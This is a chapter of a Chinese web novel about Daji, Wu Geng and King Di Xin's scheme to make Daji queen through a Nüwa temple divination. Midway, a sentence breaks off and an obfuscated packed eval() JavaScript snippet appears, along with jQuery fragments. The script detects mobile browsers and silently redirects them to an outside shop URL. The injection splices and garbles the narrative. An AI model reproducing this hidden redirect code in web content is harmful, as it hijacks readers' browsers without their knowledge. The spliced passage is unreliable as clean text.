九尾狐兆
武庚关于鹿麝药性的话语还在耳边回响,妲己的思绪却猛地飘远,落在了王氏第一次踏入延庆殿的那一日。她清晰地记得,王氏在确认武庚换过香料后,脸上那难以掩饰的愤恨与不安——正是这份情绪,才有了后来的摘星楼一事,害得自己险些丢了性命。王氏那般铤而走险,最终被帝辛抓住把柄治死,定然不是为了香料本身是否有害。且不说帝辛早已年迈,单说王氏私下里对他做的那些手脚,也早就让他没了再生子嗣的可能。王氏之所以如此容不下自己,恐怕是早就察觉了武庚对自己的情意,才会偷偷换了对自己无害的香料。
没有哪个男子愿意让心爱的女子为旁人生育子嗣,武庚换掉含鹿麝的香料,说到底,还是他自己心里存着隐秘的希望吧?或许,他是盼着自己日后能替他生儿育女。想到这里,妲己的心脏猛地一缩,一阵心慌意乱涌上心头——武庚早有这般念头,他将帝辛置于何地?这份逾越伦常的心思,一旦暴露,便是万劫不复的灾祸。
她哪里知晓,武庚起初换香料,不过是不忍心伤害她。纵然对她动了真情,他也始终顾念着父子情分与世俗伦常,从未想过为自己筹划。无论她最终的结局如何,武庚都不想因为自己的缘故,让她无缘生养,误了终身。至于现在,他确实存了私心:若自己能早日登基为王,未必不能想办法留下她。大不了让她改名换姓,自己再封一个傀儡王后掩人耳目,只要能将她留在身边就好。
武庚的心念之所以转变,全因帝辛那番自相矛盾的举动。帝辛表面上把王氏的尸骨交给了武庚安葬,却在王氏回魂的第七夜,暗中派了人去掘她的坟。偏他派去的人是费仲——费仲一贯忌惮武庚,又处处有意拉拢、协助妲己,接到帝辛入夜掘坟、毁坏王氏尸骨的命令后,便趁着天还未黑,借着送礼的由头,让人辗转把消息传给了妲己。又怕妲己与武庚联络不便,他再派人偷偷去了太子府报信。费仲派去的人行事极为谨慎,生怕被人跟踪,在朝歌城里七拐八绕,兜了好大一个圈子,才终于抵达太子府。
武庚听到消息的那一刻,心中的滋味复杂得难以言说。父亲明明在烈日下亲手折磨死了母亲,如今却连她的尸骨都不肯放过,竟还忌讳她回魂复仇?可他别无选择,只能亲自带人赶去坟地,掘坟刨尸,匆匆取回母亲的尸骨,又在附近的孤坟里找了一具新鲜尸体,用火烤炙后放进了母亲的棺椁里。入夜后,他只说要去地坤宫吊唁王氏,将母亲的尸骨藏在放祭祀器具的车子里,带进了宫中。宫门的看守本就畏惧武庚的身份与气势,如今见他神色悲痛又带着愠怒,更是不敢招惹,连查都不敢查一眼,便直接放他进了宫。待到夜深人静,武庚便按照费仲派来的人交待的那般,去找妲己帮忙安葬王氏的尸骨。
经此一事,武庚愈发觉得妲己才是自己此生所求,而对于帝辛,那份微薄的父子情义早已荡然无存。若不是心中仍对弑父造反存有不忍,他此刻恨不得立刻为母亲报仇雪恨。也正因如此,他才忍不住郑重嘱咐妲己,万万不要触碰鹿麝:“若是有孕在身的女子接触这个,无论是服食还是仅仅熏香,只要用得久了,必然会滑胎。我嘱咐你不可轻碰,是真的不想你因此误了终身。”
妲己自然明白武庚的心意,可两人身份悬殊,又隔着君臣、伦常的鸿沟,她断不敢有半分回应。更何况,她的心中早已装着别人,又怎能回应这份沉重的情意?听到“有孕”二字,她的脑海中竟不受控制地先浮现出姬发的身影。妲己猛地皱紧眉头,心中涌起一阵对自己的厌恶,又夹杂着难以言喻的心疼,过了好一会儿才稍稍缓解。或许是因为与姬发的那一次,是她生命里唯一的肌肤之亲,而与伯邑考终究是干干净净、发乎情止乎礼,所以但凡涉及男女之事,她总会先想到姬发。
心绪平复后,妲己再看向武庚,心中满是无奈:他这番深情厚谊,自己这辈子都不可能回报了,只愿他能早日清醒,放下这份不切实际的念想。武庚将鹿麝重新放回盒子里,又另外取了两个空盒子和一些香料,打包好便准备离开。殿外的侍从们看他和往常一样平静,只当他是来调制完香料才走的,也并未多想。妲己送他到殿门口,刚要转身返回,就见内侍匆匆赶来,说帝辛散了早朝,急着要见她。妲己不敢耽搁,略作收拾便往华夏宫走去。
刚进华夏宫的殿门,帝辛就挥手遣退了所有人,又吩咐内侍关上殿门。妲己心中一紧,只当帝辛又要在白日里求欢,一股恶心感涌上心头。可帝辛却只是走上前,紧紧握住她的手,忽然问道:“妲己,想不想当王后?”
虽然早已对帝辛的心思有所猜疑,妲己却故意装作浑然不知的模样,一脸懵懂地看着帝辛,愣了许久,才带着几分怯意与坚定说道:“妲己不想再受人欺凌了。按理说,三夫人之中,若白夫人能成为王后,妲己或许还能过得逍遥些,只是终究矮了别人一头。而且白夫人性子冷淡,不爱理会旁人,将来我若遭人谋害,怕是她也不会出手相助。若是另外两位夫人中的任何一个成了王后,妲己的下场……大王您是知道的……”
“孤知道。”帝辛打断她的话,语气里带着几分怜惜,“孤虽然几次护着你,可终究有顾及不到的时候。若是再生出什么事端,你被她们谋害了,孤岂不是要后悔死?”
“大王的意思是……”妲己的猜测得到了印证,心里早已一片清明,眼中却故意露出难以置信的神色,像是在极力掩饰心中的欣喜,又不敢轻易相信这份幸运会降临到自己头上。这副模样,正是帝辛想要看到的,也是一个寻常女子面对这般荣宠时该有的反应。帝辛见状,满意地笑了,柔声哄道:“这后位,非我的美人莫属。”说着,便俯身想要亲吻她,又要行欢好之事。
妲己闭上眼,脑海中却不受控制地浮现出姬发的身影,忆起两人在林中的那段短暂却刻骨铭心的经历,她的身体竟忍不住微微颤抖,涌起一股异样的兴奋。一想到自己或许能与姬发拥有一个孩子,这份兴奋便愈发强烈。帝辛察觉到她的反应,只当她是因为即将得到后位而欣喜若狂,心中更加得意,以至于早早便泄了气。他哪里知道,妲己从头到尾,心里想的都是另一个男人。
事毕,妲己忽然感到一阵愧赧。自己从什么时候起,竟然心心念念惦记着姬发了?她试图强迫自己去回忆伯邑考,可脑海中除了他温和的笑容,竟想不起更多细节,心中的羞愧感愈发浓重,再也不敢多想。她又忍不住牵挂起妙己:不知妙己如今怎么样了?姬发最终有没有收下她?若是妙己已经如愿嫁给了姬发,恐怕姬发对自己,也早已渐渐忘情了吧?
在帝辛面前,妲己不敢过于出神,生怕被他察觉异样,只能硬生生收回思绪,继续巴结讨好他。毕竟他刚许诺了后位给自己,换作任何一个正常人,都会高兴好一阵子,加倍讨好作为回报。既然自己早已对帝辛存了疑心,就绝不能让他看出半分破绽。而帝辛此时也在暗中筹划:如今说不立邓氏、理氏为后,都还算容易;可要说不立白氏,就有些困难了。再者,即便找到理由说三位夫人都不配为后,也轮不到妲己——九嫔之中,多得是出身贵族的女子。想要立妲己为后,还需要另外想办法。
另一边,理氏正通过族人脉络,在朝中大肆散播言论:一会儿说妲己出身低微,不配侍奉君王;一会儿说白氏性情乖僻,难当后位之责;顺带着,又把邓氏言行无状、意图加害妲己的事情添油加醋地传扬出去。如此一来,在整个后宫位份高的女子中,似乎只有她理氏是品行端正的好人。宫中的谣言一出,虽然不乏聪明人能猜到是理氏在背后搞鬼,却仍有一些顽固的老臣信以为真,渐渐萌生了扶持理氏登上后位的想法。
立后之事在朝堂上争论不休,帝辛也觉得烦躁不已。虽然邓氏的本家仍坚持提议立邓氏为后,但先前散播的言论对她最为不利——妲己与白氏或许还能说是性格问题,邓氏却是明明白白的德行有缺。而以丞相商容为首的一批老臣,则联名提议立理氏为后,理由便是“朝中多有谣言佐证”,其余几人都不符合立后的标准。
“理氏虽无突出建树,却也无任何劣迹。如今后宫人才匮乏之际,立理氏为后,最为妥当。”商容躬身说道,语气带着几分不容置喙的坚定。
近来因常讨论立后之事,妲己也被帝辛授意,藏在偏殿听政。这几日下来,她也将殿上的官员认了个十之八九。“后宫人才匮乏”?妲己在心里冷笑一声,暗道:又是一个自寻死路的!堂堂帝王的后宫,岂容一介老臣随意议论?莫说帝辛的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028967|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后宫之中还有不少聪慧女子,即便真的都是草包,也轮不到朝臣指手画脚。她抬眼看向帝辛,果然见他斜眯着眼睛看向商容,虽然面上并未动怒,眼底却已然闪过一丝杀心。
“禀大王,为立后一事连日争论不休,既伤君臣和气,也实属无用。臣有一法,恳请大王恩准一试。”比干素来喜欢做和事老,见众人吵得面红耳赤,也清楚每个人都各有盘算,索性想出了一个简单却又不容置疑的法子。
“王叔有何良策,只管说来。”帝辛语气平淡,听不出喜怒。
“大王既顺应天命登基为王,立后一事自然也应遵从天意。历来帝王登基、王后册立,虽多是事后请封,却均须征得巫、卜、史、祝的认同。如今我们不妨反其道而行之,先前往娲皇殿,请大巫扶乩,祈求女娲娘娘降下神意。若神意明确指示哪位娘娘可为王后,我等自当遵从,也不必再做无谓的争论了。”
妲己是有苏人氏,自幼便对巫祝之术深信不疑。可听到比干的提议,她的心里却不由得咯噔一下,涌起一阵担忧:若是神意另有所属,尤其是指示姚氏(理氏)为后,自己岂不是无力回天了?她再次看向帝辛,却见他神色笃定,仿佛比干的提议正中他的下怀。妲己心中一惊:这帝辛莫非早已做了手脚?否则,他为何能这般信心十足?
帝辛本想借口筹备几日,先上告神明再前往娲皇殿,可朝中立刻有人提出反对。只因娲皇殿戒备森严,旁人的势力难以渗透,只有帝辛最有可能打通关节,拉拢巫祝做下手脚。这些人虽然也觉得帝辛不至于冒天下之大不韪触怒神灵,却也不敢掉以轻心,唯恐夜长梦多,因此纷纷请旨,要求即刻前往娲皇殿。有一人带头,其余人也各怀心思——都怕有人暗中使坏,导致自己支持的势力落败,便纷纷附和。一时间,殿上众人都开口要求即刻出发。帝辛还想拖延,众人哪里肯依?无奈之下,他只好率领宗室成员与文武百官,浩浩荡荡地向娲皇殿进发。
抵达娲皇殿后,众人先行完大礼,又拜见了大巫。帝辛说明来意后,大巫忙碌了一个多时辰,准备好祭祀器具,将一块素绢放入小小的神鼎之中,便开始开坛作法,祈求神意。直到大巫作法完毕,手中忽然燃起一团圣火,他将圣火投入神鼎之内。待素绢燃尽,大巫又躬身拜谢神明,才将神鼎置于殿中正中,请帝辛与宗室长老先查看。殿内众人皆屏气凝息,连大气都不敢喘,目光紧紧盯着那只神鼎,空气中弥漫着压抑的寂静。
神鼎内的图案让帝辛脸上露出了惊讶的神色,几位宗室长老看过之后,更是齐齐惊呼“天意!这真是天意啊!”。众人连忙围上前去查看,只见神鼎底部的灰烬之中,赫然印着一个清晰无比的九尾狐图案——那是妲己的象征,也是女娲娘娘降下的明确神意。殿内的寂静瞬间被打破,朝臣们的反应各异,乱作一团。以商容为首的支持理氏的老臣,脸色瞬间变得惨白,先前力挺理氏时的坚定荡然无存,有的僵在原地目瞪口呆,有的垂首低声呢喃,满是不甘与无措,却碍于神明威严,连一句质疑的话也不敢说。邓氏本家的朝臣则神色复杂,既有“后位之争与己无关”的释然,又难掩对家族势力因此受损的隐忧,纷纷敛声屏气,不愿再卷入纷争。那些始终观望的中立派朝臣,见状立刻俯身行礼,齐声附和“天意难违,臣等谨遵神谕”,顺势找准了表态方向,既不得罪神明,也迎合了帝辛的心意。比干等求和派则面露欣慰,他本就为争论不休的朝堂忧心,如今神意明确,纷争可止,便率先上前一步,沉声说道:“神意已明,此乃女娲娘娘指引,我等自当遵从,立后之事自此尘埃落定。”还有几位心思敏锐、早已察觉帝辛谋划的朝臣,眼神闪烁,面露隐晦的忌惮,他们看着那清晰的九尾狐图案,心中已然明了这“天意”背后的门道,只是不敢点破,暗自告诫自己日后行事需更加谨慎,切不可违逆帝辛。
妲己站在人群之后,看到那个九尾狐图案的瞬间,身体微微一僵。
后位似乎已是囊中之物。
然而帝辛先前的笃定绝非偶然,这一切,恐怕早已在他的算计之中。
她抬头看向帝辛。
他脸上已恢复了平静,眼底却藏着一丝不易察觉的得意,与……
野心?